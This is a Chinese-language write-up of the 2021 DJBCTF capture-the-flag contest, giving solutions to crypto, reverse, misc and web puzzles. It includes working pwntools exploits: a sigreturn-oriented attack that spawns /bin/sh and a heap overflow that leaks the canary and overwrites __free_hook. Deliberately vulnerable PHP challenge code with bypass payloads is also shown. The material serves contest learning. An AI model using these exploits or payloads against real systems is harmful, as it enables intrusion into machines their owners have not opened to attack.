2021 DJBCTF(大吉大利杯) wp


實在是很忙,忙着趕項目,沒來得及參加這個比賽,只能抽空做一下,斷斷續續做,然后寫好wp又因為太忙忘記發出來。。。。
這次比賽的題挺不錯的,難度適中(狸題除外,真的狸譜,有時間研究一下阿狸師傅的題,題目很新穎),部分題目后期再補上
在此感謝出題的各位大師傅!!!

Crypto

easysignin

from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from random import getrandbits
from secret import flag

def genpq(k):
    while True:
        p = getPrime((k + 3) // 4)
        q = getPrime((k + 3) // 4)
        if ((p ** 2) * (q ** 2)).bit_length() == k:
            return (p, q)

def genseq(t, k):
	x = getrandbits(k)
	y = getrandbits(k)
	r = []
	r += [pow(x * getrandbits(k)+y, pow(getrandbits(k), t - 1, t), t)]
	for i in range(len(flag)):
		r += [pow(x * r[i] +y, pow(getrandbits(k), t - 1, t), t)]
	return r

(p, q) = genpq(2021)
e = getPrime(0x0123)
r = [genseq(p, p.bit_length() // 4), genseq(q, q.bit_length() // 4), genseq(e, e.bit_length() // 4)]
c = pow(bytes_to_long(flag), e, 2021 * p * q)

out = open('output.txt','w')
out.write(str(r) + "\n")
out.write(str(c) + "\n")
out.close()

程序自定義寫了getpq函數,然后弄了一大堆東西,最后就是rsa加密,genseq函數中的t為素數,直接費馬小定理化簡為1,后面三次調用這個函數,r和p,q,e均存在關系,LCG攻擊

因為之前研究過La大佬的LCG攻擊,用腳本即可解出p,q,e

from functools import reduce
from math import gcd
from gmpy2 import *
from Crypto.Util.number import *

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0]*multiplier) % modulus
    return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
    return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)

rp = []
rq = []
re = []
xp, yp, p = crack_unknown_modulus(rp)
xq, yq, q = crack_unknown_modulus(rq)
xe, ye, e = crack_unknown_modulus(re)
print(p)
print(q)
print(e)
d = invert(e,(p-1)*(q-1))
m = pow(c,d,p*q)
print(long_to_bytes(m))

luckybase

不會,待研究~~

大佬們幫我看看我這個Python腳本為什么運行不了啊

fROM CRYPTO.utIL.NuMBER IMPORT BYteS_TO_LoNG, long_TO_BYTES

A_Fake_FLaG = B'FLag{I_AM_the_TRUE_Flag_trUST_me}'
nuMBER = bYTEs_tO_long(a_FAKE_FLAG)

KeY1 = B'DO yOU WAnT A DAJIBEI?'
KEY1 = Bytes_to_lONG(KEY1)

KEY2 = 0XBCD2deE7E7114B5C856F8DAECeD0782BD891200B4D8264D854A13D53cF1F0c481b
iv = 10800
KEY3 = KeY2 * IV

IS_THIS_rEAL_FlAG = (NUmber + kEY3) // KEy1
print(long_tO_bytes(IS_THis_REAl_flag))

修正大小后,運行,得到

thrEE_means_3

結果為:

英文_means_數字

flag有可能是這種結構,逐一嘗試,最終試出flag

聽說

不會,待研究~~

eccsimiscce

from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from random import getrandbits
from secret import flag

def gen(n):
	g = []
	while len(g) < 2:
		r = getrandbits(128)
		if r < n:
			g += [r]
	return g[0], g[1]

pt = b'\x00' * 6 + long_to_bytes(int(flag,2))
assert len(pt) % 8 == 0

o = open('output','w')

n = getPrime(64) * getPrime(64)
o.write(str(n) + '\n')
a, b = gen(n)

p = []
E = EllipticCurve(IntegerModRing(n), [a, b^2])
P = E((0, b))
p += [P.xy()]
for k in range(len(pt) // 8):
	Q = bytes_to_long(pt[8 * k : 8 * k + 8]) * P
	p += [Q.xy()]
	P = Q	
o.write(str(p))

代碼就是就把flag的二進制經過處理后,8個字節一組進行ECC加密,之后將得到的Q點作為下一組的P點繼續加密處理,n是素數,根據在全國大學生信息安全競賽學到的一個知識點,可以把分解為模p和模q上的兩題曲線來處理,逆行解即可,解出來是01字符串,轉為二維碼,掃描即可獲得flag(腳本忘記貼上來了。。。)

簡單密碼

不會,阿狸師傅的題,還是很狸譜~~

單表加密

待研究~

pwn

easyrop

先檢查文件保護

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

沒有開任何保護,ida分析,發現程序很短

寄存器所有的值我們都可以控制,偽造sigframe,控制程序走向即可pwn

from pwn import *

context(arch='amd64',os='linux')
context.log_level = "debug"

pop_rax = 0x4000db
read_addr = 0x4000dc
buf_addr = 0x6000e0

#p = process('./easyrop')
p = remote('pwn.chall.ctf.show',28035)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = buf_addr
sigframe.rdx = 0x300
sigframe.rsp = buf_addr
sigframe.rip = read_addr


p.recvuntil('Welcome to DJB easyrop!\n')
payload = b'a'*(0x40)+p64(pop_rax)+p64(15)+str(sigframe)
p.send(payload)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr+0x120
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = read_addr

payload = p64(pop_rax)+p64(15)+str(sigframe)
payload = payload+(0x120-len(payload))*'\x00'+'/bin/sh\x00'
p.send(payload)

p.interactive()

easy_note

檢查文件保護

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位程序,ida分析,申請函數關鍵部分如下

 v1 = malloc(0x20uLL);                         // 申請內存
  src = v1;                                     // src是結構體
  v1[2] = dest;
  *((_DWORD *)src + 2) = buf;
  *(_QWORD *)src = a1;                          // 大小也寫進結構體
  *((_BYTE *)src + 24) = 0;
  dest = (char *)dest + a1;
  dword_602100 -= a1;
  memcpy(dest, src, 0x20uLL);                   // 復制到dest
  qword_602120[dword_602104] = (__int64)dest;
  dest = (char *)dest + 32;
  dword_602100 -= 32;
  free(src);                                   //釋放
  v2 = dword_602104++;
  dword_602180[v2] = buf;

這里有個點,就是將src的大小也寫進了去了,之后將src復制到dest,再釋放src,同時注意到寫函數

  int result; // eax

  if ( a1 < dword_602104 && (a1 & 0x80000000) == 0 )
    result = read(0, *(void **)(qword_602120[a1] + 16), a2);
  else
    result = puts("Chunk doesn't exist");
  return result;

這里並沒有對大小(a2)進行限制,如果申請小內存,然后寫入大小比較大的內容,溢出,再利用打印函數,那么可以泄露canary和libc版本

from pwn import *

context(arch='amd64',os='linux')
context.log_level = "debug"

p = remote('pwn.chall.ctf.show',28099)
#p = process('./easy_note')
elf = ELF('./easy_note')
libc = ELF('./libc-2.27.so')


def add(size):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil(':\n')
    p.sendline(str(size))

def print_(index):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil(':\n')
    p.sendline(str(index))

def write_(index,size,content):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil(':\n')
    p.sendline(str(index))
    p.recvuntil(':\n')
    p.sendline(str(size))
    p.send(content)

add(0x20)
content = 'a'*31+'A'+p64(0x50)
write_(0,0x30,content)
print_(0)
p.recvuntil('A')
p.recv(8)
canary = u64(p.recv(8))
print('Canary addr is:',hex(canary))
memcpy = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = memcpy+0x400000
free_hook = libc_base+libc.symbols['__free_hook']

one_gadget = libc_base+0x10a41c
write_(0,0x666,'B'*0x20+p64(0x666)+p64(canary)+p64(free_hook))
write_(0,0x100,p64(one_gadget))
add(0x20)
#gdb.attach(p)
p.interactive()

Reverse

A-Maze-Ln

32位程序,無殼,idA分析

找到關鍵函數

  memset(Dst, 0, 0x100u);
  memset(v11, 0, 0x100u);
  ((void (__cdecl *)(const char *, char))print)("Do you wanna play a game?\n", v1);
  ((void (__cdecl *)(const char *, char))print)(
    "Let's play escape game where you have to find a way out. Please enter your way:",
    v2);
  sub_401050("%s", (unsigned int)v11);          // v11為flag
  v3 = 3;
  v4 = 0;
  if ( strlen(v11) != 34 )                      // 長度34
    goto LABEL_22;
  v5 = 0;
  do
  {
    v6 = v11[v5];
    switch ( v6 )
    {
      case 'U':
        v7 = v4;
        if ( byte_404018[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        --v4;
        break;
      case 'D':
        v7 = v4;
        if ( byte_404019[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        ++v4;
        break;
      case 'L':
        v7 = v4;
        if ( byte_40401A[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        --v3;
        break;
      case 'R':
        v7 = v4;
        if ( byte_40401B[4 * (v3 + 8 * v4)] != 1 )
          goto LABEL_22;
        ++v3;
        break;
      default:
        goto LABEL_22;
    }
    ++v5;
  }
  while ( v5 < 34 );
  if ( v3 != 4 || v4 != 7 )
  {
LABEL_22:
    print("You're stuck!\n");
    return 0;
  }
  if ( sub_401090(v7, v11) == -1 )
    return 0;
  ((void (__cdecl *)(const char *, char))print)("Escaped! You see the flag\n", a1);
  v8 = 0;
  do
  {
    Sleep(0xC8u);
    print("%c", Dst[v8++]);
  }
  while ( v8 <= 0x2C );
  return 0;

很明顯是迷宮問題,起點是(3,0),終點為(4,7),大小為8*8,並且數據已給出

根據程序的判斷,得出0是表示死路,1表示通路,最終推算出路徑: LLDRRDLLLDRDLDDDRRULURRULURRDDDLDR

Matara Okina

下載候是apk文件,拖進jd分析,關鍵代碼如下

public class FlagActivity extends Activity {
    byte[] ans = "@lgvjocWzihodmXov[EWO".getBytes();
    public native String Check(String str);
    static {
        System.loadLibrary("Checker");
    }
    /* access modifiers changed from: protected */
    @Override // android.app.Activity

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_flag);
        Uri data = getIntent().getData();
        TextView textView = (TextView) findViewById(R.id.result);
        String scheme = data.getScheme();
        String host = data.getHost();
        if (scheme.toLowerCase() == scheme && host.toLowerCase() == host) {
            String queryParameter = data.getQueryParameter("secret");
            if (queryParameter == null) {
                textView.setText("NO");
                return;
            }
            byte[] bytes = queryParameter.getBytes();
            int i = 0;
            while (i < (bytes.length + 1) / 2) {
                int i2 = i + 1;
                bytes[i] = (byte) (bytes[i] ^ i2);
                int length = (bytes.length - 1) - i;
                bytes[length] = (byte) (bytes[length] ^ i2);
                i = i2;
            }
            if (Arrays.equals(this.ans, bytes)) {
                textView.setText(Check(data.toString()));
            } else {
                textView.setText("NO");
            }
        } else {
            textView.setText("NO");
        }
    }
}

就是將"@lgvjocWzihodmXov[EWO",經過算法處理,python腳本處理一下

ans = "@lgvjocWzihodmXov[EWO"
i=0
flag_temp = [0]*len(ans)
while(i<(len(ans)+1)//2):
    j = i+1
    flag_temp[i]^=j
    lens = len(ans)-1-i
    flag_temp[lens] = ord(ans[lens])^j
    flag_temp[i] = ord(ans[i])^j
    i+=1

print(''.join([chr(i) for i in flag_temp]))

得到:Android_scceme_is_FUN,再根據代碼,schema為跳轉協議,在配置文件查看內容如下

<intent-filter>
                <data android:scheme="sh0w" android:host="p4th" android:path="/70/1nput"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.BROWSABLE"/>
            </intent-filter>
        </activity>

訪問的url可知,並構造如下,即可得到flag

<a href="sh0w://p4th/70/1nput?secret=Android_scheme_is_FUN">hjx-Ying</a>

Unrealflag

缺少環境,待更新

anniu

找到句柄,修改按鈕控件屬性即可

warmup

64位程序,無殼,ida分析,關鍵代碼如下,

 if ( byte_40A0[16 * a1 + a2] == -1 )
    return 0LL;
  for ( i = 0; i <= 15; ++i )
  {
    if ( i != a2 && byte_40A0[16 * a1 + i] == byte_40A0[16 * a1 + a2] )
      return 0LL;//行不等
  }
  for ( j = 0; j <= 15; ++j )
  {
    if ( j != a1 && byte_40A0[16 * j + a2] == byte_40A0[16 * a1 + a2] )
      return 0LL;//列不等
  }
  v4 = a1 - a1 % 4;
  v3 = a2 - a2 % 4;
  for ( k = 0; k <= 3; ++k )
  {
    for ( l = 0; l <= 3; ++l )
    {
      if ( a1 != k + v4 && a2 != l + v3 && byte_40A0[16 * (k + v4) + l + v3] == byte_40A0[16 * a1 + a2] )//每一個小塊不等
        return 0LL;
    }
  }

長度為48

 if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v7) == 48 )
  {
    for ( i = 0; i <= 47; ++i )                 // 長度48
    {
      v3 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::at(&v7, i);
      if ( (unsigned __int8)sub_11F5(*v3) ^ 1 )
        goto LABEL_9;
    }
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v8, &v7);
    sub_125E((__int64)&v8);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
    if ( !((unsigned __int8)sub_14E0() ^ 1) )//滿足這個判斷
    {
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Accepted!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Flag is 'flag{' + your_input + '}'");
      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      exit(0);

挺明顯的,是個數獨游戲,找原始數據

提取出來,處理數獨游戲解一下,依次取值,得到

[7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]

python處理得到flag

flag = [7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
for i in range(len(flag)):
    if flag[i]>9:
        flag[i] = hex(flag[i])[2:]
    else:
        flag[i] = str(flag[i])
print("flag{"+''.join([i for i in flag])+"}")

e

32位程序,ELF文件,無殼,ida分析無果,動態調試看看

准備找到輸入的地方,進行跟蹤,發現程序跑到這就死循環了

改用attach調試正在執行的進程,並且一直往下跟,一定可以找到判斷的地方,並且過程中發現幾次字符的處理

先是B(可能前面漏了幾個,確實有看到J,結合賽名DJB,前面應該還有DJ)

然后是R

然后是E

這些字符很有可能進行判斷的,特別關注,繼續往下跟,堆棧處發現

繼續,出現

最后有

最終就是個比較函數,輸入的字符串和DDDJJJBBBRRREEE比較,這個就是flag

misc

十八般武藝

下載后是壓縮包,發現需要密碼,注釋有

jph對18個圖片處理得到18個txt文件,每個都藏有數字,在最下面,拼接后為

1361439992231635258176397978587009639353044053720460556276610613346353724230575

發現都是10進制數,提示前10種兵器是10進制,轉為16進制再轉文本為

flag{CTFshow_10_

后8種為8進制,轉為16進制,再轉文本

bA_Ban_b1ng_Q1}

拼接即為flag

請問大吉杯的簽到是在這里簽嗎

下載后是二維碼,但是掃后沒有什么信息,010看看,發現里面似乎還有其他圖片,還發現zip標志,分解看看,得到一個2圖片和壓縮包

圖片掃碼后是說:還要往前走……是不是在這個路口轉彎呢?,解壓壓縮包,里面也是2圖片,第二張圖有點東西

最終在stegsolve發現(走了好多彎路)

豬圈密碼解密即可

牛年大吉

010分析,發現里面存在其他類型的文件,直接分解

但是壓縮包存在密碼,根據提示:壓縮包密碼在圖片文件頭里,剛開始一直不懂什么意思,后來嘗試一下文件頭: 89504E47 ,這個就是密碼,解壓后得到flag

簡單的FM

一直都是0解,很簡單??阿狸師傅可能比較喜歡裸奔。。

童話鎮

下載后是一個mp4文件,分解得到一個壓縮包,但是存在密碼,爆破得到密碼為67373,得到兩個txt文件,兩個文件都很大,有點像機器學習的東西,不懂。。。也是阿狸師傅的題

色圖生成器

解壓后是一個txt文件和一個png圖片,txt文件內容為很多顏色的單詞,圖片的馬賽克部分很奇怪,腳本處理一下,找一下規律

from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
    for y in range(50,995,5):
        color=p.getpixel((y,x))
        print(color[0],color[1],color[2])
        i+=1
        if i==10:
            break

部分結構如下圖

發現馬賽克部分,82,97,114轉為ascii為rar,說明馬賽克部分其實是一個壓縮包,並且發現是RGB中其中一個值為0,寫腳本將數據全部提取出來

from PIL import Image
p = Image.open('setu.png')
i = 0
for x in range(80,420,20):
    for y in range(50,995,5):
        color=p.getpixel((y,x))
        if color[0] ==0 or color[1]==0 or color[2]==0:
            z = (color[0]+color[1]+color[2])//2
            print(z,end=' ')
            i+=1

010處理一下

打開這個rar文件,里面是一張圖片,010分析一下,尾部發現壓縮包標志,分解,得到一個壓縮包,但是有密碼

根據提示github搜索Cloakify,並用題提供的txt作為字典,跑一下得到密碼

D3arD4La0P1e45eD4iDa1Wo

得到一個pyc文件,反編譯一下

from PIL import Image
import re, hashlib, random
flag = 'flag{jiu_bu_gao_su_ni}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
    m = hashlib.md5()
    m.update(flag.encode('ascii'))
    m = m.hexdigest()
    col = []
    for i in range(0, 24, 2):
        tmp = int(m[i:i + 2], 16)
        tmp += random.randint(-5, 5)
        col += [tmp]
 
    img = Image.new('RGB', (1024, 512))
    for i in range(4):
        timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
        img.paste(timg, (i * 256, 0))
 
    img.save('C:/Users/Administrator/Desktop/setu.png')

這個腳本是對setu.png進行處理,但是引入了隨機數,逆算法不行,直接暴力破解即可

import re
import hashlib

list = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
for a1 in range(48,123):
    for a2 in range(48,123):
        for a3 in range(48,123):
            for a4 in range(48,123):
                flag = 'flag{'+'D'+chr(a1)+chr(a2)+chr(a3)+chr(a4)+'}'
                if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
                    m = hashlib.md5()
                    m.update(flag.encode('ascii'))
                    m = m.hexdigest()
                    b = 0
                    for i in range(0,24,2):
                        tmp = int(list[b])
                        if int(m[i:i+2], 16) -tmp > -5 and int(m[i:i+2], 16)-tmp < 5:
                            b = b+1
                            continue
                        elif i==22:
                            print(flag,'Found the flag!')
                            break
                        else:
                            break

拼圖2.0

拼圖即可

碑寺六十四卦

搗鼓了一大圈,沒發現什么,最后將圖片反色才發現線索, stegsolve解一下最低位通道即可得到另一張圖片 (放大鏡放大,得到)

對應卦圖的數字為:

5,37,26,32,8,44,11,30,53,27,39,34,51,3,52,46,18,33,46,40,7,56,40

對應base64解密一下,得到flag

AA86

%@"%"@,~,%,!`_^[^_^]-;>`_^[^_^]%"!,^,:`_^[^_^]-@{-`{-?:`_[^_^]_-``-``-@@`_^[^_^]-`~-``-@$`_^[^_^]-``-``-@@`_^[^_^]-`~-``-@#`_^[^_^]-+~-/~-?;`_^[^_^]%!~-;-,;`_^[^_^]-"$-@~-@``_^[^_^]-{[-);-@:`_^[^_^]-/*,%`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]%@$-@;-?;`_^[^_^]-/~-`&,#`_^[^_^]-`~-`{,*`_^[^_^]-@@-$!`_^[^_^]-:$,[,<`_^[^_^]-!|-.),!`_^[^_^]-@{-@`-/(`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]-{!-{.,.`_^[^_^]-~/-/``_^[^_^]%""-}@$"`_^[^_^]%@@-!/,!`_^[^_^]-:*-=%`[[[[[[[[`^^^^^-%+)@@^^^!;@@++,((,.((-$+"@"+&&-,!""+,&-,!""+!&-,!""+'&-,!""++'-,!""+(&-,!""+$'-,!""+$'-,!""+@'-,!""+#'-,!""+*#-,!""+_"-,!""+_"-,!""+%'-,!""+$'-,!""+&&-,!""+-"-,!""+(#-,!""+."-,!""+*&-,!""+@'-,!""+_"-,!""+@'-,!""+%'-,!""+"&-,!""+,&-,!""+)&-,!""+#&-,!""+_"-,!""+#'-,!""+!&-,!""+#'-,!""+_"-,!""+)&-,!""+.&-,!""+$&-,!""+%&-,!""+('-,!""+."-,!""+(&-,!""+$'-,!""+-&-,!""+,&-,!""+-'-,!"(+@@,$-,!"

題目提示16位系統的文件,16位dos系統的話能運行的文件比較經典的是com文件,(這學期病毒課實驗課,搭了個16位虛擬機,正好用到),保存為com文件,dos系統跑一下,得到flag

web

veryphp

代碼審計

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
    function __wakeup(){
        die("Access Denied!");
    }
    static function oao(){
        show_source("config.php");
    }
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
if(isset($shaw_root)){
    if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
        echo $hint;//我們得讀到這個hint
    }else{
        echo "Almost there."."<br>";
    }
}else{
    echo "<br>"."Input correct parameters"."<br>";
    die();
}
if($ans===$SecretNumber){
    echo "<br>"."Congratulations!"."<br>";
    call_user_func($my_ans);
}

首先我們得先讀到hint,長度為29,並且匹配正則,比較容易

-a9<b>xxxxxxxxx>>>>abcphp@Rsx

但是shaw_root的下划線得處理為空格(+不行),繞過正則,得到hint

md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

爆破得到的SecretNumber為: 21475 ,然后就到call_user_func,調用類中函數就行了,比較簡單

shaw root=-a9<b>xxxxxxxxx>>>>abcphp@Rsx&ans=21475&my ans=qwq::oao

spaceman

<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

傳入的user_name和pass_word的下划線會被正則影響,空格繞過,得flag

有手就行

url出現file=scan,經過多次嘗試,只有file=flag,才有結果,前端發現代碼,base64轉圖片,是一個小程序

爬樓游戲,爬547萬層,就是點擊547萬次,直接逆向小程序,最后全局搜索flag得到flag(很有意思的一個題)

虎山行

不會,暫研究~~~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM